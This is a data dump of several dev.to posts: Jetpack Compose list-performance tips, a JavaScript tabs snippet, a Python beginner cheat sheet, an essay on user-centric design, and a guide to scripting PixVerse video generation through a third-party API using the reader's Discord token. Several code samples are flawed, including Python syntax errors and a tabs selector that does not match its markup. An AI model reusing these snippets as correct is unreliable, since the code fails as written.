id int64 5 1.93M | title stringlengths 0 128 | description stringlengths 0 25.5k | collection_id int64 0 28.1k | published_timestamp timestamp[s] | canonical_url stringlengths 14 581 | tag_list stringlengths 0 120 | body_markdown stringlengths 0 716k | user_username stringlengths 2 30 |
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1,881,856 | Performance Optimization of LazyColumn in Jetpack Compose | So, showing the list of items is common in many applications. Sometimes when we scroll through the... | 0 | 2024-06-09T06:32:42 | https://dev.to/aritradas/performance-optimization-of-lazycolumn-in-jetpack-compose-2pf2 | android, jetpackcompose, kotlin, performance | So, showing the list of items is common in many applications. Sometimes when we scroll through the list we feel the laggy behaviour and it’s too bad for UX. In Jetpack Compose we use LazyColumn to show the items Verticaly and LazyRow to show items Horizontally.
While using LazyColumn to show items we face some laggy behaviour, so let's learn how can we fix that laggy behaviour and make the LazyColumn as smooth as possible.
**1. Try to test it on release mode**
Don’t worry if your app is laggy in debugging. It’s completely fine. Just create the APK in release mode (Build -> Generated Signed Bundle/APK), which might solve your problem. This happens because when in debugging, Compose translates bytecode in runtime using JIT, and make sure you have R8 compiler enabled and use precompiled binary/baseline profile.
**2. Set a key for your items**
So, what does this key parameter do, so the key composable allows the compose compiler to identify each composable as distinct and eliminate the wasteful recompositions. The key must be unique to the list otherwise it will crash.
This works almost like DiffUtil work in RecyclerView in XML and we know how much improvement is increased in performance of RecyclerView get with DiffUtil.
**3. Use remember{ } block**
The remember block in Jetpack Compose ensures that the state variable persists across recompositions, preventing unnecessary recompositions and preserving the state during configuration changes. This is crucial for optimizing performance and maintaining a consistent user interface, especially when dealing with expensive operations or fetching data, as it avoids redundant computations and network calls on each recomposition.
In this easy example, remember is used to store the list of items, ensuring that it remains unchanged during recompositions of the LazyColumn. This helps optimize performance by preventing unnecessary recomputations of the item list on each UI redraw. The generateItems function simulates a list of strings for demonstration purposes.
**4. Use lightweight/compressed images in LazyColumn**
Lag issues in LazyColumn are often attributed to the use of heavy images, making it imperative to choose images that are optimized for quick rendering. While addressing this concern, incorporating image caching libraries such as Coil can be a valuable strategy. These libraries efficiently manage the loading and caching of images, contributing to a smoother user experience.
**5. Use @Stabe and @Immutable on data class**
The annotations @Stable and @Immutable are used to tell compose that the data class is stable and it will not change.
So, by adding these annotations you can tell compose that the data class is stable, but the most important point is it doesn’t make any class Stable/Immutable on it own. Incorrect annotating a class could cause recomposition. | aritradas |
1,881,855 | Tabs | <div class="tabs_wrap"> <div class="tabs_container"> <button class="btn tab... | 0 | 2024-06-09T06:30:53 | https://dev.to/kakimaru/tabs-2e6l | ```
<div class="tabs_wrap">
<div class="tabs_container">
<button class="btn tab tab--1 tab--active" data-tab="1">
tab button 1
</button>
<button class="btn tab tab--2 tab--active" data-tab="2">
tab button 2
</button>
</div>
<div class="content content--1 content--active">
<div>
contents 1
</div>
</div>
<div class="content content--2 content--active">
<div>
contents 2
</div>
</div>
</div>
```
```
const tabs = document.querySelectorAll('.tab');
const tabsContainer = document.querySelector('.tabs_container');
const tabsContent = document.querySelectorAll('.content');
```
```
tabsContainer.addEventListener('click', function (e) {
const clicked = e.target.closest('.tab');
// Guard clause
if (!clicked) return;
// Remove active classes
tabs.forEach(t => t.classList.remove('tab--active'));
tabsContent.forEach(c => c.classList.remove('content--active'));
// Activate tab
clicked.classList.add('tab--active');
// Activate content area
document.querySelector(`.content-${clicked.dataset.tab}`).classList.add('content--active');
});
```
Avoid using `forEach` to attach events to each tab. Instead, leverage event bubbling to set an event listener on the parent element and determine which child element it corresponds to.
| kakimaru | |
1,881,853 | Python Cheat Sheet: Essential Guide for Beginners | This cheat sheet is designed as a helpful guide for those who have a solid understanding of Python... | 0 | 2024-06-09T06:25:52 | https://dev.to/terrancoder/python-cheat-sheet-essential-guide-for-beginners-2bdl | python, coding, codenewbie, tutorial | This cheat sheet is designed as a helpful guide for those who have a solid understanding of **Python basics**. It serves as a convenient reference while coding in Python.
## Variables and Strings
**Variables** are used as containers to store data values in python. A string is a sequence of characters, enclosed in either single or double quotes, used for representing text data.
```
#Using a variable
greetings = "Good Morning!"
print(greetings)
```
## f-strings (using variables in strings)
**f-strings** enable the inclusion of variables within strings to create dynamic messages.
```
first_name = 'Sakib'
last_name = 'Kamal'
full_name = f"{first_name} {last_name}
print(full_name)
```
Lists
Lists are ordered collections of items, mutable (can be changed), enclosed in square brackets.
```
#Make a list
cars = ['bmw', 'audi', 'volvo']
#Get the first item in a list
first_car = cars[0]
#Get the last item in a list
last_car = cars[-1]
#Looping through a list
for car in cars:
print(cars)
#Adding items to a list
cars = []
cars.append('bmw')
cars.append('audi')
cars.append('volvo')
#Making numerical lists
cubed_numbers = []
for i in range(1, 12):
cubed_numbers.append(i ** 3)
print(cubed_numbers)
#List comprehensions
cubed_numbers = [i ** 3 for i in range(1, 12)]
print(cubed_numbers)
#Slicing a list
my_list = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
# Get the first three elements
first_three = my_list[:3]
print(first_three) # Output: [1, 2, 3]
# Get elements from index 2 to index 5 (exclusive)
middle_part = my_list[2:5]
print(middle_part) # Output: [3, 4, 5]
# Get elements from index 5 to the end
last_part = my_list[5:]
print(last_part) # Output: [6, 7, 8, 9, 10]
# Get every second element
every_second = my_list[::2]
print(every_second) # Output: [1, 3, 5, 7, 9]
# Reverse the list
reversed_list = my_list[::-1]
print(reversed_list) # Output: [10, 9, 8, 7, 6, 5, 4, 3, 2, 1]
```
## Tuples
**Tuples** are ordered collections of items, immutable (cannot be changed), enclosed in parentheses.
```
#Making a tuple
candidates = ('Steve', 'Bill', 'Erwin')
scores = ('120', '116', '132')
```
## If Statements
**If statements** are conditional statements that execute code based on whether a specified condition evaluates to true or false.
```
#equal
x == 78
#not equal
x ! = 78
#greater than
x > 78
#greater than or equal to
x >= 78
#less than
x < 78
#less than or equal to
x <= 78
#Conditional tests with lists
'audi' in cars
'toyota' not in cars
#Assigning boolean values
camera_on = True
can_record = False
#A simple if test
if age >= 18:
print("You can drive!")
#if-elif-else statements
x = 10
if x > 10:
print("x is greater than 10")
elif x == 10:
print("x is equal to 10")
else:
print("x is less than 10")
```
## Dictionaries
**Dictionaries** are collections of key-value pairs, unordered and mutable, accessed by keys rather than by their position.
```
# A simple dictionary
student = {"name": "Alice","age": 20}
# Accessing values in the dictionary
print("Name:", student["name"])
# Adding a new key-value pair
student["university"] = "XYZ University"
# Removing a key-value pair from the dictionary
del student["age"]
#Looping through all key value pairs
top_speeds = {'audi': 120, 'bmw': '190', 'volvo': 170}
for car, speed in top_speeds.items()
print(f"{car} top speed is {speed}.")
#Looping through all keys
top_speeds = {'audi': 120, 'bmw': '190', 'volvo': 170}
for car in top_speeds.keys():
print(f"{car} has some speed.")
#Looping through all the values
top_speeds = {'audi': 120, 'bmw': '190', 'volvo': 170}
for speed in top_speed.values():
print(f"{speed} is the top speed.")
```
## User input
Data provided by the user during program execution. All inputs are used as strings
```
#Prompting for a value
name = input("What's your name?")
print(f"Hello, {name}!")
age = input("How old are you?")
age = int(age)
pi = input("What's the value of pi? ")
pi = float(pi)
```
## User input
Data provided by the user during program execution. All inputs are used as strings
```
#Prompting for a value
name = input("What's your name?")
print(f"Hello, {name}!")
age = input("How old are you?")
age = int(age)
pi = input("What's the value of pi? ")
pi = float(pi)
```
## While loops
**While loops** repeatedly executes a block of code as long as a specified condition is true.
```
# A simple while loop
count = 1
while count <= 5:
print(count)
count += 1
#Letting the user choose when to quit
message = ''
while message != 'quit':
message = input("What's your message? ")
print(message)
```
## Functions
**Functions** are blocks of reusable code that perform a specific task. They take inputs, perform operations and return outputs.
```
# A simple function
def print_hello():
"""Display a simple greeting."""
print("Hello, welcome to the world of Python!")
print_hello()
# Passing an argument
def greet_user(username):
"""Display a personalized greeting"""
print(f"Hello, {username}!")
greet_user('Reid')
# Default values for parameters
def icecream_flavors(flavor = 'strawberry')
"""Choose your favorite icecream flavor"""
print(f"Have a {flavor} icecream!")
icecream_flavors()
icecream_flavors('vanilla')
# Returning a value
def add_numbers(x, y):
"""Add two numbers and return the sum"""
return x+y
sum = add_numbers(2,8)
print(sum)
```
## Classes
**Classes** are blueprints for creating objects in Python. They define the properties and behaviors of objects. The information in a class is stored in attributes and functions that belong to a class are called methods. A child class inherits the attributes and methods from its parent class.
```
#Creating a drone class
class Drone:
"""Represent a Drone."""
def __init__(self,model)
"""Initialize user object"""
self.model = model
def fly(self):
"""Simulate flying"""
print(f"{self.model} is flying.")
my_drone = Drone('QuadCopter')
print(f"{my_drone.model) is capable of long flights!")
my_drone.fly()
```
```
#Inheritance
class SearchDrone(Drone):
"""Represent a search and rescue drone."""
def __init__(self,model):
"""Initialize the search and rescue drone."""
super().__init__(name)
def search(self):
"""Simulate search and rescue operation."""
print(f"{self.model} is carrying a search and rescue mission")
my_drone = SearchDrone('UAV')
print(f"{my_drone.model} is a search and rescue drone.")
my_drone.fly()
my_drone.search()
```
## Working with files
**Working with files** in Python involves reading from and writing to files on your computer's filesystem. Python provides built-in functions and methods for opening, reading, writing, and closing files. Files are opened in **read mode ('r')** by default, but can also be opened in **write mode ('w')** and **append mode ('a')**.
## Exceptions
**Exception** helps you respond to possible errors that are likely to occur. The code that might cause an error is put in the try block. Code that should run in response to an error goes in the except block. Code that should run only if the try block is successful goes in the else block.
```
try:
# Code that may raise an exception
x = 10 / 0 # Attempting to divide by zero
except ZeroDivisionError:
# Handling the specific exception (division by zero)
print("Error: You cannot divide by zero!")
else:
# This block will execute if no exception occurs
print("Division successful!")
finally:
# This block will execute whether an exception occurs or not
print("End of the program.")
```
##Conclusion
This **Python cheat sheet** provides a concise yet comprehensive overview of essential concepts for beginners. By leveraging this guide, you can quickly reference key topics such as **variables, strings, lists, tuples, if statements, dictionaries, user input, loops, functions, classes, file handling, and exceptions.** Keep this cheat sheet handy to reinforce your understanding and enhance your coding efficiency in Python.
| terrancoder |
1,881,852 | User-Centric Design -- Putting Users At The Heart Of Development | by Bright Umani In the bustling realm of digital landscapes, where technology seems to evolve at... | 0 | 2024-06-09T06:22:04 | https://blog.openreplay.com/user-centric-design--putting-users-at-the-heart-of-development/ |
by [Bright Umani](https://blog.openreplay.com/authors/bright-umani)
<blockquote><em>
In the bustling realm of digital landscapes, where technology seems to evolve at the speed of thought, one fundamental principle stands tall amidst the whirlwind of innovation: user-centric design. At its core, user-centric design is not merely a methodology; it's a philosophy—an unwavering commitment to crafting digital experiences that resonate with, empower, and delight users at every turn. This article will explain all about it.
</em></blockquote>
<div style="background-color:#efefef; border-radius:8px; padding:10px; display:block;">
<hr/>
<h3><em>Session Replay for Developers</em></h3>
<p><em>Uncover frustrations, understand bugs and fix slowdowns like never before with <strong><a href="https://github.com/openreplay/openreplay" target="_blank">OpenReplay</a></strong> — an open-source session replay suite for developers. It can be <strong>self-hosted</strong> in minutes, giving you complete control over your customer data.</em></p>
<img alt="OpenReplay" style="margin-top:5px; margin-bottom:5px;" width="768" height="400" src="https://raw.githubusercontent.com/openreplay/openreplay/main/static/openreplay-git-hero.svg" class="astro-UXNKDZ4E" loading="lazy" decoding="async">
<p><em>Happy debugging! <a href="https://openreplay.com" target="_blank">Try using OpenReplay today.</a></em><p>
<hr/>
</div>
[User-centric design](https://www.interaction-design.org/literature/topics/user-centered-design) is more than just a buzzword—it's the guiding light that illuminates the path toward creating digital products and interfaces that seamlessly meld with users' needs, desires, and behaviors. At its essence, this approach involves placing the user at the epicenter of the design process. Every pixel, every line of code, and every interaction is meticulously crafted with the user's perspective in mind.
### Importance of Prioritizing Users in front-end Development
In the bustling realm of [front-end development](https://www.romexsoft.com/blog/what-is-front-end-web-development/), where lines of code converge with pixels to create digital experiences, one principle stands paramount above all prioritizing users. Let's delve into why placing users at the forefront is not just a best practice but the heartbeat of front-end development.
* Empathy Drives Innovation: At the core of front-end development lies empathy—the ability to understand and resonate with users' needs, desires, and frustrations. By prioritizing users, developers infuse their creations with empathy, driving innovation that truly resonates with the human experience.
* Enhanced Usability and Accessibility: Prioritizing users leads to interfaces that are not only visually appealing but also intuitive and accessible. By understanding users' behaviors and preferences, developers can craft interfaces that streamline navigation, optimize usability, and ensure accessibility for users of all abilities.
* Building Lasting Connections: Beyond mere transactions, front-end development is about building connections—connections that foster loyalty, trust, and affinity with users. By prioritizing users, developers create experiences that go beyond functionality, forging lasting connections that transcend the digital realm.
* Empowerment and Engagement: Users are not passive spectators but active participants in the digital landscape. By prioritizing users, developers empower users, inviting them to engage, explore, and interact with digital experiences in meaningful ways that enrich their lives.
* Driving Business Success: Ultimately, the success of any digital endeavor hinges on its ability to meet users' needs and expectations. By prioritizing users in front-end development, businesses can drive customer satisfaction, loyalty, and advocacy—key drivers of long-term success and growth.
### The Role of front-end Development in Enhancing User Experience
front-end development serves as the canvas upon which the masterpiece of user experience is painted. It's the bridge that connects users to the digital realm, transforming complex algorithms and data into intuitive interfaces that feel like second nature.
At its essence, front-end development is not merely about writing code—it's about storytelling. It's about weaving narratives through color palettes, typography, and interactive elements that captivate users' imaginations and invite them to explore.
In the ever-evolving landscape of technology, where trends come and go and paradigms shift like sand dunes in the wind, one thing remains constant: the human element. Behind every screen, every click, every scroll, lies a human being—an individual with unique needs, desires, and aspirations. And it is our duty, as stewards of the digital realm, to honor and cherish that humanity by placing users at the forefront of everything we create.
## Understanding User Needs
In digital design, understanding user needs isn't just a best practice—it's a fundamental requirement for creating experiences that truly resonate with users. The diagram below highlights understanding users' needs to guide designers through research, wireframing, prototyping, and testing, ensuring intuitive interfaces and enriching digital experiences.
Image source: [aatreyatechnologies](http://aatreyatechnologies.com/ux%20design.html)
Here, we delve into the essential steps of uncovering these needs, providing practical techniques and examples to empower front-end developers in crafting impactful digital solutions.
### Conducting User Research
[User research](https://careerfoundry.com/en/blog/ux-design/the-importance-of-user-research-and-how-to-do-it/) serves as the bedrock of user-centric design, offering invaluable insights into user behaviors, preferences, and pain points. Here are key techniques for gathering [user feedback:](https://qualaroo.com/user-feedback/guide/)
* Surveys: Utilize surveys to gather quantitative data on user preferences, behaviors, and satisfaction levels. For instance, an e-commerce website might use a survey to gauge customer satisfaction with the checkout process.
* Interviews: Conduct one-on-one interviews with users to delve deeper into their motivations, frustrations, and aspirations. For example, a mobile app developer might interview users to understand why they prefer certain features over others.
* Heatmaps: Analyze heatmaps to visualize user interactions on websites or applications. Heatmaps can reveal areas of high engagement, such as frequently clicked buttons, as well as areas of low engagement, indicating potential usability issues.
### Persona Development
* [Personas](https://careerfoundry.com/en/blog/ux-design/how-to-define-a-user-persona/) offers a human-centered approach to understanding user needs, allowing developers to empathize with their target audience. Here's how to develop personas effectively:
* Demographic Details: Populate personas with demographic information such as age, gender, occupation, and location. For instance, a social media platform might create personas representing different age groups and interests.
* Goals and Motivations: Identify each persona's primary goals and motivations. For example, a traveler persona might have goals such as finding affordable accommodation or discovering local attractions.
* Challenges and Pain Points: Articulate each persona's challenges and pain points. For instance, an online banking persona might struggle with navigating complex financial terminology or accessing account information on mobile devices.
### Identifying Pain Points and User Goals
Understanding user needs isn't just about gathering data—it's about empathizing with users and identifying areas where digital solutions can make a meaningful impact. Here are examples of how to identify pain points and user goals:
E-Commerce Website: Through user research, developers discover that customers frequently abandon their shopping carts during the checkout process. They identify usability issues such as confusing navigation or lengthy forms by conducting usability testing and analyzing feedback. The goal is to streamline the checkout process and reduce cart abandonment rates.
Fitness App: Persona development reveals that users have diverse fitness goals, ranging from weight loss to muscle gain. Through interviews and surveys, developers uncover pain points such as a lack of personalized workout plans or difficulty tracking progress. The goal is to develop features that cater to individual fitness goals and provide actionable insights to users.
In essence, understanding user needs is essential for front-end developers to create intuitive and engaging digital experiences. Developers can design solutions that truly resonate with their target audience by conducting thorough user research, developing rich personas, and empathetically identifying pain points and user goals.
## Designing Intuitive User Interface
In the ever-evolving landscape of digital platforms and applications, user interface design is the cornerstone of ensuring a seamless and intuitive user experience. As technology advances, it becomes imperative for designers to prioritize human-centric principles, ensuring that navigating through interfaces feels instinctive and effortless.
### Creating Clear Navigation Paths
Imagine entering a bustling city without a map or clear signs to guide you. That's precisely how users feel when they encounter cluttered or convoluted navigation in digital interfaces.
Designers must create clear pathways for users to navigate through, akin to well-marked roads in a city. This involves organizing information logically, employing intuitive icons and labels, and minimizing unnecessary steps. By doing so, users can effortlessly find what they're looking for, enhancing their overall experience.
### Prioritizing Usability and Accessibility
User interfaces should be designed with inclusivity in mind, catering to individuals with diverse needs and abilities.
Prioritizing usability and accessibility means making interfaces easily understandable and operable for everyone, regardless of their technological proficiency or physical limitations.
This includes utilizing clear typography, providing sufficient color contrast, and offering alternative navigation methods for those using assistive technologies. By embracing accessibility, designers empower all users and foster a sense of inclusivity and belonging within digital spaces.
### Incorporating User Feedback Loops
Effective user interface design is a continuous journey of refinement and improvement, and user feedback guides designers along the way.
By incorporating feedback loops, designers can gain invaluable insights into users' preferences, pain points, and usage patterns. This can be achieved through various channels such as surveys, [usability testing](https://careerfoundry.com/en/blog/ux-design/usability-testing-guide/), and analytics tools.
By actively listening to users and iteratively refining interfaces based on their input, designers can ensure that their creations remain relevant, intuitive, and aligned with user needs.
<CTA_Middle_Design />
## Responsive Design for Seamless User Experience
Image source: [techcrash.net](https://techcrash.net/steps-in-the-web-designing-process/)
[Responsive design](https://www.smashingmagazine.com/2011/01/guidelines-for-responsive-web-design/) is paramount in today's digital landscape, facilitating effortless transitions between devices. The diagram above illustrates the iterative phases of web design, highlighting the integration of responsive design principles to ensure a seamless user experience across diverse devices and screen resolutions, from initial planning and wireframing to development, testing, and deployment. Let's delve into its key principles to empower developers to deliver adaptable user experiences.
Ensuring compatibility across devices and screen sizes is foundational. Layouts should be fluid, enabling smooth adjustments, while flexible images and media facilitate seamless scaling. Optimizing mobile viewing with viewport meta tags further enhances user experience.
Adaptive design principles reinforce the importance of starting with a solid foundation for all devices. Customizing stylesheets with media queries and maintaining consistency across devices ensure a cohesive user experience.
Testing and iteration are crucial for optimal performance. Testing on diverse devices ensures reliability while listening to user feedback enables iterative improvements. Ensuring functionality across various web browsers enhances accessibility and usability.
## Personalizing User Experiences: Nurturing Connections in the Digital Realm
In the digital realm, personalization and privacy intertwine to foster authentic connections and enhance user experiences. As we navigate this dynamic landscape, balancing individual preferences with privacy concerns becomes paramount. This delicate balance is achieved through a multifaceted approach that encompasses user profiling, behavioral analysis, and preference settings.
User profiling forms the foundation of personalized experiences by compiling data on user behavior, preferences, and demographics. This comprehensive understanding allows developers to craft tailored experiences that cater to the unique needs of each individual. Complementing this, behavioral analysis enables the scrutiny of user interactions and engagement patterns. Developers can anticipate user needs and deliver meaningful recommendations and experiences by discerning preferences and adapting content accordingly.
Dynamic content and recommendation systems serve as powerful tools for enriching user experiences further. Content personalization leverages factors such as browsing history and past interactions to serve dynamic content that resonates with individual interests. Recommendation engines, driven by machine learning algorithms, go a step beyond by suggesting products, services, or content aligned with each user's preferences. Contextual awareness adds sophistication to personalization efforts, leveraging cues like location and device type to deliver timely and relevant experiences.
Despite the benefits of personalization, privacy considerations remain paramount. Transparent data practices ensure clear communication with users regarding data collection, usage, and privacy policies. Providing granular controls empowers users to manage their data and privacy settings according to their comfort level, fostering a sense of agency over their online experiences. Moreover, anonymizing and aggregating user data uphold privacy while still enabling personalized insights, minimizing the risk of individual identification.
By prioritizing both personalization and privacy, developers can cultivate user experiences that are not only tailored but also respectful of user privacy and preferences. This holistic approach fosters authentic connections in the digital realm, enriching the relationship between users and digital platforms while safeguarding their privacy rights.
## Elevating User Engagement with Interactive Design Elements
In the dynamic realm of digital experiences, user engagement reigns supreme. Designers are continually exploring innovative methods to captivate audiences, employing interactive elements, micro-interactions, and visual effects to craft immersive journeys.
Interactive features empower users, transforming passive observers into active participants. Clickable buttons, scroll-triggered animations, and interactive storytelling invite users to navigate with purpose, fostering a deeper connection.
Microinteractions add delight, infusing personality into interfaces. From satisfying sounds to playful animations, these subtle touches enhance the user experience, forging memorable interactions.
The strategic use of animation guides user actions, directs attention, and improves clarity. Hover effects, smooth transitions, and interactive visualizations simplify complex concepts and encourage exploration.
Incorporating these elements humanizes digital interfaces, creating meaningful connections that resonate with users. In a world where attention is currency, engaging experiences leave lasting impressions, driving user loyalty and advocacy.
## Understanding User Success through Human-Centric Metrics
In the pursuit of success in the digital realm, understanding and meeting user needs is paramount. This involves tracking key performance indicators [KPIs](https://www.simplekpi.com/Resources/Key-Performance-Indicators) that align with user goals, analyzing their feedback and behavior, and continuously iterating based on data insights.
Firstly, tracking KPIs that are aligned with user goals is essential. It's not just about the numbers; it's about understanding how users interact with the product or service to achieve their objectives. By focusing on metrics such as conversion rates, engagement levels, and [ user satisfaction scores](https://sematext.com/blog/ux-metrics/), organizations can gain valuable insights into the effectiveness of their offerings in meeting user needs.
Secondly, analyzing user feedback and behavior provides invaluable insights into their preferences, pain points, and desires. Whether it's through surveys, user testing sessions, or monitoring user interactions, gathering qualitative and quantitative data allows organizations to gain a deeper understanding of what drives user satisfaction and loyalty.
Lastly, iterative improvement based on data insights is crucial for staying ahead in today's fast-paced digital landscape. By continuously analyzing data, identifying areas for improvement, and implementing changes based on user feedback, organizations can ensure that their offerings remain relevant and valuable to their target audience.
## The Power of Collaboration in Crafting User-Centric Solutions
In the realm of digital innovation, the key to creating truly user-centric solutions lies in effective collaboration. By bringing together diverse minds from design, development, and stakeholder teams, organizations can tap into a wealth of perspectives to ensure that their products resonate deeply with users.
### Fostering Collaboration Across Disciplines
* Collaboration serves as the cornerstone of success in crafting user-centric solutions.
* By fostering a culture of collaboration, organizations can facilitate a rich exchange of ideas among designers, developers, and stakeholders.
* This collaborative approach ensures that the final product is informed by diverse viewpoints and insights, leading to solutions that truly meet user needs.
### The Role of Cross-Functional Teams
* Cross-functional teams play a pivotal role in achieving user-centricity.
* By bringing together individuals with diverse skill sets and backgrounds, these teams are equipped to tackle challenges from multiple angles.
* This multidisciplinary approach results in more innovative and effective solutions that address the complex needs of users.
### Real-Life Examples of Collaborative Success
* Real-life examples demonstrate the power of collaborative efforts in action.
* Brainstorming sessions, where ideas are freely exchanged and explored, serve as catalysts for creativity and innovation.
* Iterative processes, informed by user feedback, allow teams to refine and improve their solutions over time, ensuring that they remain aligned with user needs and expectations.
## Challenges and Considerations in User-Centric Design
User-centric design is a journey filled with hurdles that demand a human touch. Let's explore three key challenges designers face and how they can address them empathetically.
### Overcoming Biases and Assumptions
Designers must acknowledge and challenge their biases to create inclusive experiences. By listening and learning from diverse perspectives, they can avoid projecting their preferences onto users, ensuring their designs cater to all.
### Balancing Business Goals with User Needs
Aligning business objectives with user needs is crucial. Prioritizing user experience over immediate gains fosters long-term loyalty and trust, ultimately driving sustainable growth.
### Addressing Technical Constraints Without Compromising User Experience
Navigating [technical limitations](https://www.uxpin.com/studio/blog/constraints-in-design/) while maintaining the integrity of the user experience is essential. By optimizing performance and minimizing data usage, designers can ensure accessibility for all users, regardless of their circumstances.
In essence, by embracing empathy and commitment to understanding user needs, designers can overcome challenges in user-centric design, leaving a positive impact on those they serve.
## Conclusion
To sum it all up, front-end development isn't just about writing code; it's about creating experiences that feel like a friendly conversation rather than a technical transaction. It's about understanding that behind every click and scroll is a real person with unique needs and preferences. By embracing empathy, collaboration, and continuous improvement, we can build digital spaces that not only meet users' needs but also make them feel valued and understood.
So let's keep listening, learning, and evolving, ensuring that our digital creations are not just functional but delightful and empowering. Together, let's humanize the digital realm, one thoughtful interaction at a time.
| asayerio_techblog | |
1,881,851 | Dress Your Style: Winter, Summer, Party & Casual with FEMKE BOUTIQUE | A quintessential ensemble for the sun-kissed days, a summer outfit embodies breezy elegance. It's a... | 0 | 2024-06-09T06:21:55 | https://dev.to/femkeboutique/dress-your-style-winter-summer-party-casual-with-femke-boutique-l06 | A quintessential ensemble for the sun-kissed days, a summer outfit embodies breezy elegance. It's a harmonious blend of comfort and style, often featuring lightweight fabrics like cotton or linen. With vibrant colors or soothing pastels, it exudes an aura of relaxation, perfect for picnics in the park or strolls along the beach.
[Shop Now](https://femke-boutique.nl/) | femkeboutique | |
1,881,850 | Create breath-taking videos with PixVerse AI | Introduction In this article we will show hot to use an experimental API for the PixVerse... | 0 | 2024-06-09T06:19:23 | https://useapi.net/docs/articles/pixverse-demo | pixverse, discord, ai, webdev | ### Introduction
In this article we will show hot to use an [experimental API](https://useapi.net/docs/api-pixverse-v1) for the [PixVerse Discord Bot](https://discord.com/invite/MXHErdJHMg) by [PixVerse.AI](https://pixverse.ai/) to generate videos. PixVerse currently supports text and image inputs for generating 4-second-long videos. The available video styles include `Realistic`, `Anime`, and `3D Animation`. For the `Anime` style you can reference one of the [anime characters](https://pixverse.notion.site/Available-Characters-for-Anime-Style-6648259c5db146be9e35509bfb9a3c86). PixVerse can also create a [meme face](https://pixverse.notion.site/Use-Meme_face-To-Create-Videos-With-The-Face-You-Upload-c6399111aced4b0aa04cb456bc3866d2) video from a provided image.
### Examples
[/animate](https://useapi.net/docs/api-pixverse-v1/post-pixverse-animate)
Source [image](https://demo.useapi.net/discord-cdn-proxy/?https://cdn.discordapp.com/attachments/1239264794394234985/1249165862900994138/source.jpg)
<video src="https://demo.useapi.net/discord-cdn-proxy/?https://cdn.discordapp.com/attachments/1239264794394234985/1249165754390024203/job20240609001856765-button-.mp4" width="240" height="320" controls type="video/mp4" preload="metadata"></video>
[/meme_face](https://useapi.net/docs/api-pixverse-v1/post-pixverse-meme_face)
Source [image](https://demo.useapi.net/discord-cdn-proxy/?https://cdn.discordapp.com/attachments/1239264794394234985/1249165862900994138/source.jpg)
> A girl smiling by the beach, sunset in the background
<video src="https://demo.useapi.net/discord-cdn-proxy/?https://cdn.discordapp.com/attachments/1239264794394234985/1249165965611110400/job20240609001914960-button-.mp4" width="320" height="320" controls type="video/mp4" preload="metadata"></video>
[/create_single](https://useapi.net/docs/api-pixverse-v1/post-pixverse-create_single)
> A cinematic shot of a tiny hedgehog dressed in a complete astronaut suit, floating in the vastness of outer space. The hedgehog is repairing a small satellite with tiny tools. The Earth shines in the distance, and stars and constellations illuminate the dark cosmic background. Nearby, a futuristic spaceship with another animal peeking from a window completes the cosmic scene
<video src="https://demo.useapi.net/discord-cdn-proxy/?https://cdn.discordapp.com/attachments/1239264794394234985/1249166215365136466/job20240609001917453-button-.mp4" width="320" height="240" controls type="video/mp4" preload="metadata"></video>
[/create](https://useapi.net/docs/api-pixverse-v1/post-pixverse-create)
> A front view, head to toe, beautiful female model walking the runway. Emphasis is on the Great Gatsby inspired evening gown in the style of John Galliano
<video src="https://demo.useapi.net/discord-cdn-proxy/?https://cdn.discordapp.com/attachments/1239264794394234985/1249166464728957061/job20240609002137214-button-U1.mp4" width="320" height="240" controls type="video/mp4" preload="metadata"></video>
> A women silhouette dancing provocative with flashing strobe lights flashing with laser beams
<video src="https://demo.useapi.net/discord-cdn-proxy/?https://cdn.discordapp.com/attachments/1239264794394234985/1249166624930398420/job20240609002138983-button-U1.mp4" width="320" height="240" controls type="video/mp4" preload="metadata"></video>
> A girl smiling in a magic redwood forest
<video src="https://demo.useapi.net/discord-cdn-proxy/?https://cdn.discordapp.com/attachments/1239264794394234985/1249166579510284358/job20240609002157557-button-V2.mp4" width="320" height="240" controls type="video/mp4" preload="metadata"></video>
### Setup
We will use the experimental API provided by [useapi.net](https://useapi.net) to interact with [Midjourney](https://useapi.net/docs/api-v2), [InsightFaceSwap](https://useapi.net/docs/api-faceswap-v1), [Pika](https://useapi.net/docs/api-pika-v1) and [PixVerse](https://useapi.net/docs/api-pixverse-v1) Discord bots.
#### Useapi.net
You need a monthly [subscription](https://useapi.net/docs/subscription) to use the [useapi.net](https://useapi.net) experimental APIs mentioned in this article.
Follow these [steps](https://useapi.net/docs/start-here/setup-useapi) to get started.
#### PixVerse
The PixVerse Discord bot is currently free, please follow these [simple steps](https://useapi.net/docs/start-here/setup-pixverse) to obtain the following:
- Discord server ID number, referred to in this article as `server`.
- Discord channel ID number, referred to in this article as `channel`.
- Discord token, referred to in this article as `discord`. [Verify Discord access](https://useapi.net/docs/start-here/setup-pixverse#verify-discord-access).
- Once you have all the above, please create or update your [PixVerse account information](https://useapi.net/docs/api-pixverse-v1/post-pixverse-account-channel) so that you no longer need to provide them with every API call.
Useapi.net provides an easy way to experiment with all API endpoints without writing any code. Check the `Try It` section at the end of each document page, such as PixVerse's [/create](https://useapi.net/docs/api-pixverse-v1/post-pixverse-create#try-it), [/animate](https://useapi.net/docs/api-pixverse-v1/post-pixverse-animate#try-it), or [/meme_face](https://useapi.net/docs/api-pixverse-v1/post-pixverse-meme_face#try-it).
For your convenience, we have published all the [source code](https://github.com/useapi/examples/tree/main/pixverse-demo) used in this article. You can choose between JavaScript and Python examples. Clone this repository locally and use it as a starting point for your experiments.
### Ngrok
Follow official [instructions](https://ngrok.com/docs/getting-started/#step-2-connect-your-account) to sign up for an ngrok account and copy your ngrok `authtoken` from your ngrok dashboard.
### Preparing PixVerse prompts
An array of desired prompts should be saved to a locally cloned [prompts.json](https://github.com/useapi/examples/blob/main/pixverse-demo/prompts.json) file.
### Executing prompts using PixVerse experimental API by useapi.net
Create a file locally in the same folder named `example.sh` with the following content:
#### [JavaScript](https://github.com/useapi/examples/blob/main/pixverse-demo/example.js)
```bash
USEAPI_TOKEN="useapi API token" NGROK_AUTHTOKEN="ngrok authtoken" node ./example.js
```
#### [Python](https://github.com/useapi/examples/blob/main/pixverse-demo/example.py)
```bash
USEAPI_TOKEN="useapi API token" NGROK_AUTHTOKEN="ngrok authtoken" python3 ./example.py
```
Execute it from the command line like this: `./example.sh` and observe the magic of the experimental API.
The generated videos will be saved locally. You may proceed with the generation process within a Discord channel to further refine your creations. Alternatively, you can continue automate the process by using the [/button](https://useapi.net/docs/api-pixverse-v1/post-pixverse-button) API endpoint.
### Conclusion
